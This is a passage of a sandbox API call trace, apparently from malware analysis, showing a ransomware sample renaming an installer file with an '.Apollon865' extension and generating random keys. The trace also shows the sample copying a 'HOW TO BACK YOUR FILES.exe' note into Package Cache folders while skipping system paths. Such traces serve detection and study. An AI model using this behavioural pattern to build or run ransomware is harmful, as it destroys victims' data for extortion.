	[0068.571] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0068.571] lstrlenW (lpString="usr") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0068.571] lstrlenW (lpString="v12") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0068.571] lstrlenW (lpString="vis") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0068.571] lstrlenW (lpString="vpd") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0068.571] lstrlenW (lpString="vvv") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0068.571] lstrlenW (lpString="wdb") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0068.571] lstrlenW (lpString="wmdb") returned 4
	[0068.571] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0068.571] lstrlenW (lpString="wrk") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0068.571] lstrlenW (lpString="xdb") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0068.571] lstrlenW (lpString="xld") returned 3
	[0068.571] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0068.571] lstrlenW (lpString="xmlff") returned 5
	[0068.571] lstrcmpiW (lpString1="4.msi", lpString2="xmlff") returned -1
	[0068.571] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865") returned 152
	[0068.571] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.apollon865"), dwFlags=0x1) returned 1
	[0068.573] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0068.573] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=147456) returned 1
	[0068.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3480020
	[0068.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0068.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0068.573] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0068.574] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0068.574] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.574] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24300, lpName=0x0) returned 0xd8
	[0068.577] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24300) returned 0x120000
	[0068.826] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0068.827] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0068.827] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0068.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0068.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.828] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0068.831] CloseHandle (hObject=0xd8) returned 1
	[0068.831] CloseHandle (hObject=0x100) returned 1
	[0068.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0068.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0068.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3480020 | out: hHeap=0x580000) returned 1
	[0068.832] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0068.832] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0068.832] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0068.832] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0068.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0068.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0068.832] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 83
	[0068.832] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0068.832] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0068.832] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0068.833] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0068.833] GetLastError () returned 0x0
	[0068.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0068.833] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0068.834] CloseHandle (hObject=0x150) returned 1
	[0068.834] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0068.834] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0068.834] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0068.834] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0068.834] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0068.834] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0068.834] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.834] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0068.834] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0068.834] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0068.834] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0068.834] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f57a430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0068.834] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0068.834] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0068.834] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0068.835] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0068.835] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0068.835] lstrlenW (lpString="packages") returned 8
	[0068.835] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned 85
	[0068.835] lstrcpyW (in: lpString1=0x119e6b0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0068.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0068.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0068.835] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0068.835] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0068.835] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0068.835] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0068.835] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0068.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0068.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0068.835] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned 92
	[0068.835] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0068.835] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0068.835] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0068.836] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0068.836] GetLastError () returned 0x0
	[0068.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0068.836] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0068.836] CloseHandle (hObject=0x150) returned 1
	[0068.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0068.836] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0068.836] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0068.836] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0068.836] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0068.836] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0068.836] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.836] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0068.836] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0068.836] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0068.837] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0068.837] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f57a430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0068.837] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0068.837] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Apollon865.txt.exe") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2=".") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="..") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="windows") returned -1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="bootmgr") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="temp") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="pagefile.sys") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="boot") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ids.txt") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ntuser.dat") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="perflogs") returned 1
	[0068.837] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="MSBuild") returned 1
	[0068.837] lstrlenW (lpString="vcRuntimeAdditional_x86") returned 23
	[0068.837] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned 94
	[0068.837] lstrcpyW (in: lpString1=0x119e6c2, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0068.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0068.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xea) returned 0x5a3168
	[0068.837] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0068.837] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0068.837] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0068.837] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0068.837] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0068.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0068.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0068.837] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned 116
	[0068.837] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0068.837] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0068.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0068.838] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0068.838] GetLastError () returned 0x0
	[0068.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0068.838] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0068.838] CloseHandle (hObject=0x150) returned 1
	[0068.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0068.838] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
